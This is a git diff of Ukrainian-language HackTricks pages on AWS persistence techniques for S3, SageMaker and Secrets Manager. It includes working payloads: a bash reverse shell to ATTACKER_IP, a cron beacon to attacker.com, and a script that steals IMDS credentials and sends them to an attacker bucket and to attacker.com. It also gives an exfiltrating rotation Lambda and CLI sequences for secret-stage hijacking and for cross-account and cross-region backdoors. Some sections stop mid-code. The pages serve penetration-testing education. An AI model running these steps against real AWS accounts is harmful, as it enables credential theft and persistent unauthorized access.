-Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### KMS Client-Side Encryption - -Коли процес шифрування завершено, користувач використовує KMS API для генерації нового ключа (`aws kms generate-data-key`) і **зберігає згенерований зашифрований ключ у метаданих** файлу ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), щоб під час розшифровки його можна було знову розшифрувати за допомогою KMS: - -
- -Отже, зловмисник може отримати цей ключ з метаданих і розшифрувати його за допомогою KMS (`aws kms decrypt`), щоб отримати ключ, використаний для шифрування інформації. Таким чином, зловмисник отримає ключ шифрування, і якщо цей ключ повторно використовується для шифрування інших файлів, він зможе його використовувати. - -### Using S3 ACLs - -Хоча зазвичай ACL для бакетів вимкнені, зловмисник з достатніми привілеями може їх зловживати (якщо вони увімкнені або якщо зловмисник може їх увімкнути), щоб зберегти доступ до S3 бакету. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md new file mode 100644 index 000000000..679e93544 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md @@ -0,0 +1,25 @@ +# AWS - S3 Персистентність + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### KMS Client-Side Encryption + +Після завершення процесу шифрування користувач використовує KMS API для генерації нового ключа (`aws kms generate-data-key`) і **зберігає згенерований зашифрований ключ у метаданих** файлу ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), тому під час дешифрування його можна знову розшифрувати за допомогою KMS: + +
+ +Отже, attacker може отримати цей ключ з метаданих і розшифрувати його за допомогою KMS (`aws kms decrypt`), щоб отримати ключ, який використовувався для шифрування інформації. Таким чином attacker отримає ключ шифрування, і якщо цей ключ буде повторно використано для шифрування інших файлів, він зможе ним користуватися. + +### Using S3 ACLs + +Хоча зазвичай ACLs для бакетів вимкнені, attacker з достатніми привілеями може зловживати ними (якщо вони увімкнені або якщо attacker може їх увімкнути), щоб зберегти доступ до S3 bucket. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md deleted file mode 100644 index 74005f53d..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md +++ /dev/null @@ -1,158 +0,0 @@ -# Aws Sagemaker Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Огляд технік збереження - -Цей розділ описує методи отримання збереження в SageMaker шляхом зловживання Lifecycle Configurations (LCCs), включаючи реверсні оболонки, cron jobs, крадіжку облікових даних через IMDS та SSH бекдори. Ці скрипти виконуються з IAM роллю екземпляра і можуть зберігатися між перезавантаженнями. Більшість технік вимагають вихідного мережевого доступу, але використання сервісів на контрольному рівні AWS все ще може дозволити успіх, якщо середовище знаходиться в режимі "тільки VPC". -#### Примітка: Екземпляри ноутбуків SageMaker в основному є керованими EC2 екземплярами, налаштованими спеціально для навантажень машинного навчання. - -## Необхідні дозволи -* Екземпляри ноутбуків: -``` -sagemaker:CreateNotebookInstanceLifecycleConfig -sagemaker:UpdateNotebookInstanceLifecycleConfig -sagemaker:CreateNotebookInstance -sagemaker:UpdateNotebookInstance -``` -* Студійні додатки: -``` -sagemaker:CreateStudioLifecycleConfig -sagemaker:UpdateStudioLifecycleConfig -sagemaker:UpdateUserProfile -sagemaker:UpdateSpace -sagemaker:UpdateDomain -``` -## Налаштування конфігурації життєвого циклу на екземплярах блокнотів - -### Приклад команд AWS CLI: -```bash -# Create Lifecycle Configuration* - -aws sagemaker create-notebook-instance-lifecycle-config \ ---notebook-instance-lifecycle-config-name attacker-lcc \ ---on-start Content=$(base64 -w0 reverse_shell.sh) - - -# Attach Lifecycle Configuration to Notebook Instance* - -aws sagemaker update-notebook-instance \ ---notebook-instance-name victim-instance \ ---lifecycle-config-name attacker-lcc -``` -## Налаштування конфігурації життєвого циклу в SageMaker Studio - -Конфігурації життєвого циклу можуть бути прикріплені на різних рівнях і до різних типів додатків у SageMaker Studio. - -### Рівень домену Studio (всі користувачі) -```bash -# Create Studio Lifecycle Configuration* - -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-studio-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) - - -# Apply LCC to entire Studio Domain* - -aws sagemaker update-domain --domain-id --default-user-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -### Рівень студії (Індивідуальні або спільні простори) -```bash -# Update SageMaker Studio Space to attach LCC* - -aws sagemaker update-space --domain-id --space-name --space-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -## Типи конфігурацій життєвого циклу додатків Studio - -Конфігурації життєвого циклу можуть бути специфічно застосовані до різних типів додатків SageMaker Studio: -* JupyterServer: Виконує скрипти під час запуску сервера Jupyter, ідеально підходить для механізмів збереження, таких як реверсні оболонки та cron-завдання. -* KernelGateway: Виконується під час запуску додатку kernel gateway, корисно для початкової налаштування або постійного доступу. -* CodeEditor: Застосовується до Code Editor (Code-OSS), дозволяючи скрипти, які виконуються під час початку сесій редагування коду. - -### Приклад команди для кожного типу: - -### JupyterServer -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-jupyter-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) -``` -### KernelGateway -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-kernelgateway-lcc \ ---studio-lifecycle-config-app-type KernelGateway \ ---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) -``` -### CodeEditor -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-codeeditor-lcc \ ---studio-lifecycle-config-app-type CodeEditor \ ---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) -``` -### Critical Info: -* Прикріплення LCCs на рівні домену або простору впливає на всіх користувачів або програми в межах обсягу. -* Потребує вищих дозволів (sagemaker:UpdateDomain, sagemaker:UpdateSpace), що зазвичай більш досяжно на рівні простору, ніж на рівні домену. -* Контроль на рівні мережі (наприклад, сувора фільтрація виходу) може запобігти успішним реверс-шеллам або ексфільтрації даних. - -## Reverse Shell via Lifecycle Configuration - -SageMaker Lifecycle Configurations (LCCs) виконують користувацькі скрипти, коли екземпляри ноутбуків запускаються. Зловмисник з дозволами може встановити постійний реверс-шелл. - -### Payload Example: -``` -#!/bin/bash -ATTACKER_IP="" -ATTACKER_PORT="" -nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & -``` -## Cron Job Persistence via Lifecycle Configuration - -Зловмисник може впроваджувати cron завдання через LCC скрипти, забезпечуючи періодичне виконання шкідливих скриптів або команд, що дозволяє приховану стійкість. - -### Payload Example: -``` -#!/bin/bash -PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" -CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" -CRON_JOB="*/30 * * * * $CRON_CMD" - -mkdir -p /home/ec2-user/SageMaker/.local_tasks -echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH -chmod +x $PAYLOAD_PATH - -(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - -``` -## Витік облікових даних через IMDS (v1 & v2) - -Конфігурації життєвого циклу можуть запитувати Службу метаданих екземпляра (IMDS) для отримання облікових даних IAM та витікати їх до місця, контрольованого зловмисником. - -### Приклад корисного навантаження: -```bash -#!/bin/bash -ATTACKER_BUCKET="s3://attacker-controlled-bucket" -TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json - -# Exfiltrate via S3* - -aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json - -# Alternatively, exfiltrate via HTTP POST* - -curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md new file mode 100644 index 000000000..e888046f3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md @@ -0,0 +1,230 @@ +# AWS - SageMaker Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Огляд методів Persistence + +У цьому розділі викладено методи отримання persistence у SageMaker шляхом зловживання Lifecycle Configurations (LCCs), включно з reverse shells, cron jobs, credential theft via IMDS та SSH backdoors. Ці скрипти виконуються з роллю IAM екземпляра і можуть зберігатися після перезапусків. Більшість технік вимагають вихідного мережевого доступу, проте використання сервісів на AWS control plane все ще може дозволити успіх, якщо середовище знаходиться в 'VPC-only" режимі. + +> [!TIP] +> Примітка: SageMaker notebook instances по суті є керованими EC2 інстансами, налаштованими спеціально для робочих навантажень машинного навчання. + +## Необхідні дозволи +* Notebook Instances: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* Studio додатки: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +## Налаштування Lifecycle Configuration на Notebook Instances + +### Приклади команд AWS CLI: +```bash +# Create Lifecycle Configuration* + +aws sagemaker create-notebook-instance-lifecycle-config \ +--notebook-instance-lifecycle-config-name attacker-lcc \ +--on-start Content=$(base64 -w0 reverse_shell.sh) + + +# Attach Lifecycle Configuration to Notebook Instance* + +aws sagemaker update-notebook-instance \ +--notebook-instance-name victim-instance \ +--lifecycle-config-name attacker-lcc +``` +## Налаштування Lifecycle Configuration у SageMaker Studio + +Lifecycle Configurations можна прикріплювати на різних рівнях та до різних типів додатків у SageMaker Studio. + +### Studio Domain Level (Усі користувачі) +```bash +# Create Studio Lifecycle Configuration* + +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-studio-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) + + +# Apply LCC to entire Studio Domain* + +aws sagemaker update-domain --domain-id --default-user-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +### Studio Space Level (Індивідуальні або Спільні Spaces) +```bash +# Update SageMaker Studio Space to attach LCC* + +aws sagemaker update-space --domain-id --space-name --space-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +## Типи конфігурацій життєвого циклу додатків Studio + +Конфігурації життєвого циклу можуть бути застосовані до різних типів додатків SageMaker Studio: +* JupyterServer: Виконує скрипти під час старту Jupyter server, ідеально підходить для persistence mechanisms, таких як reverse shells та cron jobs. +* KernelGateway: Виконується під час запуску додатку KernelGateway, корисно для початкового налаштування або для постійного доступу. +* CodeEditor: Застосовується до Code Editor (Code-OSS), дозволяє скриптам виконуватися при початку сеансів редагування коду. + +### Example Command for Each Type: + +### JupyterServer +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-jupyter-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) +``` +### KernelGateway +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ +--studio-lifecycle-config-app-type KernelGateway \ +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) +``` +### Редактор коду +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-codeeditor-lcc \ +--studio-lifecycle-config-app-type CodeEditor \ +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) +``` +### Критична інформація: +* Прикріплення LCCs на рівні domain або space впливає на всіх користувачів чи додатки в межах області. +* Вимагає підвищених дозволів (sagemaker:UpdateDomain, sagemaker:UpdateSpace); зазвичай простіше реалізується на рівні space, ніж на рівні domain. +* Контролі на мережевому рівні (наприклад, strict egress filtering) можуть перешкодити успішним reverse shells або data exfiltration. + +## Reverse Shell через Lifecycle Configuration + +SageMaker Lifecycle Configurations (LCCs) виконують користувацькі скрипти під час запуску notebook instances. Зловмисник із відповідними дозволами може встановити стійкий reverse shell. + +### Payload Example: +``` +#!/bin/bash +ATTACKER_IP="" +ATTACKER_PORT="" +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & +``` +## Cron Job Persistence via Lifecycle Configuration + +Зловмисник може інжектувати cron jobs через LCC scripts, забезпечуючи періодичне виконання зловмисних скриптів або команд, що дозволяє stealthy persistence. + +### Payload Example: +``` +#!/bin/bash +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" +CRON_JOB="*/30 * * * * $CRON_CMD" + +mkdir -p /home/ec2-user/SageMaker/.local_tasks +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH +chmod +x $PAYLOAD_PATH + +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - +``` +## Credential Exfiltration via IMDS (v1 & v2) + +Конфігурації життєвого циклу можуть опитувати Instance Metadata Service (IMDS), щоб отримати IAM облікові дані та exfiltrate їх у розташування, контрольоване зловмисником. + +### Payload Example: +```bash +#!/bin/bash +ATTACKER_BUCKET="s3://attacker-controlled-bucket" +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json + +# Exfiltrate via S3* + +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json + +# Alternatively, exfiltrate via HTTP POST* + +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +``` +## Утримання доступу через Model Registry resource policy (PutModelPackageGroupPolicy) + +Зловживання політикою на основі ресурсу для SageMaker Model Package Group, щоб надати зовнішньому principal міжакаунтні права (наприклад, CreateModelPackage/Describe/List). Це створює довготривалий backdoor, який дозволяє завантажувати заражені версії моделей або читати метадані/артефакти моделей навіть якщо IAM user/role нападника в акаунті жертви буде видалено. + +Required permissions +- sagemaker:CreateModelPackageGroup +- sagemaker:PutModelPackageGroupPolicy +- sagemaker:GetModelPackageGroupPolicy + +Steps (us-east-1) +```bash +# 1) Create a Model Package Group +REGION=${REGION:-us-east-1} +MPG=atk-mpg-$(date +%s) +aws sagemaker create-model-package-group \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--model-package-group-description "Test backdoor" + +# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account) +cat > /tmp/mpg-policy.json <:model-package-group/${MPG}", +"arn:aws:sagemaker:${REGION}::model-package/${MPG}/*" +] +} +] +} +JSON + +# 3) Attach the policy to the group +aws sagemaker put-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--resource-policy "$(jq -c . /tmp/mpg-policy.json)" + +# 4) Retrieve the policy (evidence) +aws sagemaker get-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--query ResourcePolicy --output text +``` +Примітки +- Для реального міжакаунтного backdoor звужуйте Resource до конкретного group ARN і використовуйте attacker’s AWS account ID у Principal. +- Для end-to-end міжакаунтного розгортання або читання артефактів узгодьте S3/ECR/KMS grants з attacker account. + +Вплив +- Persistent cross-account control of a Model Registry group: attacker може публікувати шкідливі версії моделей або перелічувати/читати метадані моделей навіть після того, як їхні IAM сутності будуть видалені у victim account. + +## Canvas міжакаунтний backdoor для реєстру моделей (UpdateUserProfile.ModelRegisterSettings) + +Зловживання налаштуваннями користувача SageMaker Canvas, щоб непомітно перенаправляти записи реєстру моделей в обліковий запис під контролем attacker шляхом увімкнення ModelRegisterSettings і вказання CrossAccountModelRegisterRoleArn на attacker role в іншому акаунті. + +Необхідні дозволи +- sagemaker:UpdateUserProfile на цільовому UserProfile +- Необов'язково: sagemaker:CreateUserProfile на Domain, яким ви керуєте + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md deleted file mode 100644 index 167fed530..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ /dev/null @@ -1,51 +0,0 @@ -# AWS - Secrets Manager Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Через політики ресурсів - -Можливо **надати доступ до секретів зовнішнім обліковим записам** через політики ресурсів. Перегляньте [**сторінку Privesc Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) для отримання додаткової інформації. Зверніть увагу, що для **доступу до секрету** зовнішній обліковий запис також **потребуватиме доступу до KMS ключа, що шифрує секрет**. - -### Через Secrets Rotate Lambda - -Щоб **автоматично змінювати секрети**, викликається налаштований **Lambda**. Якщо зловмисник зможе **змінити** **код**, він зможе безпосередньо **екстрактувати новий секрет** для себе. - -Ось як може виглядати код lambda для такої дії: -```python -import boto3 - -def rotate_secrets(event, context): -# Create a Secrets Manager client -client = boto3.client('secretsmanager') - -# Retrieve the current secret value -secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - -# Rotate the secret by updating its value -new_secret_value = rotate_secret(secret_value) -client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) - -def rotate_secret(secret_value): -# Perform the rotation logic here, e.g., generate a new password - -# Example: Generate a new password -new_secret_value = generate_password() - -return new_secret_value - -def generate_password(): -# Example: Generate a random password using the secrets module -import secrets -import string -password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) -return password -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md new file mode 100644 index 000000000..e0b786cab --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md @@ -0,0 +1,230 @@ +# AWS - Secrets Manager Персистентність + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Для детальнішої інформації див.: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Через політики ресурсів + +Можна **grant access to secrets to external accounts** через політики ресурсів. Перегляньте [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) для детальнішої інформації. Зауважте, що щоб **access a secret**, зовнішній акаунт також **need access to the KMS key encrypting the secret**. + +### Через Secrets Rotate Lambda + +Щоб автоматично **rotate secrets**, викликається налаштований **Lambda**. Якщо атакуючий зможе **change** **code**, він зможе безпосередньо **exfiltrate the new secret** собі. + +This is how lambda code for such action could look like: +```python +import boto3 + +def rotate_secrets(event, context): +# Create a Secrets Manager client +client = boto3.client('secretsmanager') + +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] + +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) + +def rotate_secret(secret_value): +# Perform the rotation logic here, e.g., generate a new password + +# Example: Generate a new password +new_secret_value = generate_password() + +return new_secret_value + +def generate_password(): +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password +``` +{{#include ../../../../banners/hacktricks-training.md}} + +### Swap the rotation Lambda to an attacker-controlled function via RotateSecret + +Зловживання `secretsmanager:RotateSecret` для перев'язки секрету на контрольовану зловмисником rotation Lambda і виклику негайної ротації. Зловмисна функція екзфільтрує значення версій секрету (AWSCURRENT/AWSPENDING) під час кроків ротації (createSecret/setSecret/testSecret/finishSecret) до місця екзфільтрації зловмисника (наприклад, S3 або зовнішній HTTP). + +- Requirements +- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration. +- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation. + +- Impact +- The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attacker’s function as well. + +- Attack steps (CLI) +1) Prepare attacker sink and Lambda role +- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed). +2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy. +3) Rebind rotation and trigger +- `aws secretsmanager rotate-secret --secret-id --rotation-lambda-arn --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately` +4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts. +5) (Optional) Restore the original rotation Lambda to reduce detection. + +- Example attacker Lambda (Python) exfiltrating to S3 +- Environment: `EXFIL_BUCKET=` +- Handler: `lambda_function.lambda_handler` +```python +import boto3, json, os, base64, datetime +s3 = boto3.client('s3') +sm = boto3.client('secretsmanager') +BUCKET = os.environ['EXFIL_BUCKET'] + +def write_s3(key, data): +s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json') + +def lambda_handler(event, context): +sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step'] +# Exfil both stages best-effort +def getv(**kw): +try: +r = sm.get_secret_value(**kw) +return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')} +except Exception as e: +return {'error': str(e)} +current = getv(SecretId=sid, VersionStage='AWSCURRENT') +pending = getv(SecretId=sid, VersionStage='AWSPENDING') +key = f"{sid.replace(':','_')}/{step}/{token}.json" +write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending}) +# Minimal rotation (optional): copy current->pending and promote in finishSecret +# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage) +``` +### Version Stage Hijacking для прихованої persistence (custom stage + fast AWSCURRENT flip) + +Зловживайте версіонними staging-мітками у Secrets Manager, щоб розмістити версію секрету під контролем атакуючого і приховати її під кастомним stage (наприклад, `ATTACKER`), поки продакшен продовжує використовувати оригінальний `AWSCURRENT`. У будь-який момент перемістіть `AWSCURRENT` на версію атакуючого, щоб отруїти залежні робочі навантаження, а потім відновіть його, щоб мінімізувати виявлення. Це забезпечує прихований backdoor persistence і швидку маніпуляцію часом використання без зміни імені секрету або rotation config. + +- Вимоги +- Права: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (для перевірки) +- Ідентифікатор цільового секрету у регіоні. + +- Вплив +- Підтримувати приховану версію секрету під контролем атакуючого і атомарно перемикати `AWSCURRENT` на неї за вимогою, впливаючи на будь-якого споживача, який резолвить те саме ім'я секрету. Перемикання та швидкий відкат зменшують шанс виявлення, одночасно дозволяючи компрометацію під час використання. + +- Кроки атаки (CLI) +- Підготовка +- `export SECRET_ID=` + +
+Команди CLI +```bash +# 1) Capture current production version id (the one holding AWSCURRENT) +CUR=$(aws secretsmanager list-secret-version-ids \ +--secret-id "$SECRET_ID" \ +--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ +--output text) + +# 2) Create attacker version with known value (this will temporarily move AWSCURRENT) +BACKTOK=$(uuidgen) +aws secretsmanager put-secret-value \ +--secret-id "$SECRET_ID" \ +--client-request-token "$BACKTOK" \ +--secret-string {backdoor:hunter2!} + +# 3) Restore production and hide attacker version under custom stage +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" + +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage ATTACKER \ +--move-to-version-id "$BACKTOK" + +# Verify stages +aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated + +# 4) On-demand flip to the attacker’s value and revert quickly +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$BACKTOK" \ +--remove-from-version-id "$CUR" + +# Validate served plaintext now equals the attacker payload +aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text + +# Revert to reduce detection +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" +``` +
+ +- Примітки +- Коли ви вказуєте `--client-request-token`, Secrets Manager використовує його як `VersionId`. Додавання нової версії без явного встановлення `--version-stages` за замовчуванням переміщує `AWSCURRENT` на нову версію та позначає попередню як `AWSPREVIOUS`. + + +### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy) + +Зловживати Secrets Manager multi-Region replication, щоб створити репліку цільового секрету в менш-моніторованому Region, зашифрувати її attacker-controlled KMS key у цьому Region, потім promote репліку до standalone secret і прикріпити permissive resource policy, який надає attacker read access. Оригінальний secret у primary Region залишається незмінним, що забезпечує довготривалий, прихований доступ до значення секрету через promoted replica, водночас обходячи KMS/policy обмеження на primary. + +- Вимоги +- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`. +- У replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (або `kms:PutKeyPolicy`) щоб дозволити attacker principal виконувати `kms:Decrypt`. +- Наявність attacker principal (user/role), який отримає read access до promoted secret. + +- Вплив +- Постійний cross-Region шлях доступу до значення секрету через standalone replica під attacker-controlled KMS CMK і permissive resource policy. Primary secret в оригінальному Region залишається недоторканим. + +- Атака (CLI) +- Змінні +```bash +export R1= # e.g., us-east-1 +export R2= # e.g., us-west-2 +export SECRET_ID= +export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +export ATTACKER_ARN=:user/ or role> +``` +1) Створити attacker-controlled KMS key у replica Region +```bash +cat > /tmp/kms_policy.json <<'JSON' +{"Version":"2012-10-17","Statement":[ +{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"} +]} +JSON +KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \ +--query KeyMetadata.KeyId --output text) +aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID" +# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal) +aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey +``` +2) Реплікуйте секрет в R2, використовуючи attacker KMS key +```bash +aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \ +--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret +aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus' +``` +3) Підвищити репліку до автономного екземпляра в R2 +```bash +# Use the secret name (same across Regions) +NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text) +aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME" +aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME" +``` +4) Прикріпити пом'якшену політику доступу ресурсу до окремого секрету в R2 +```bash +cat > 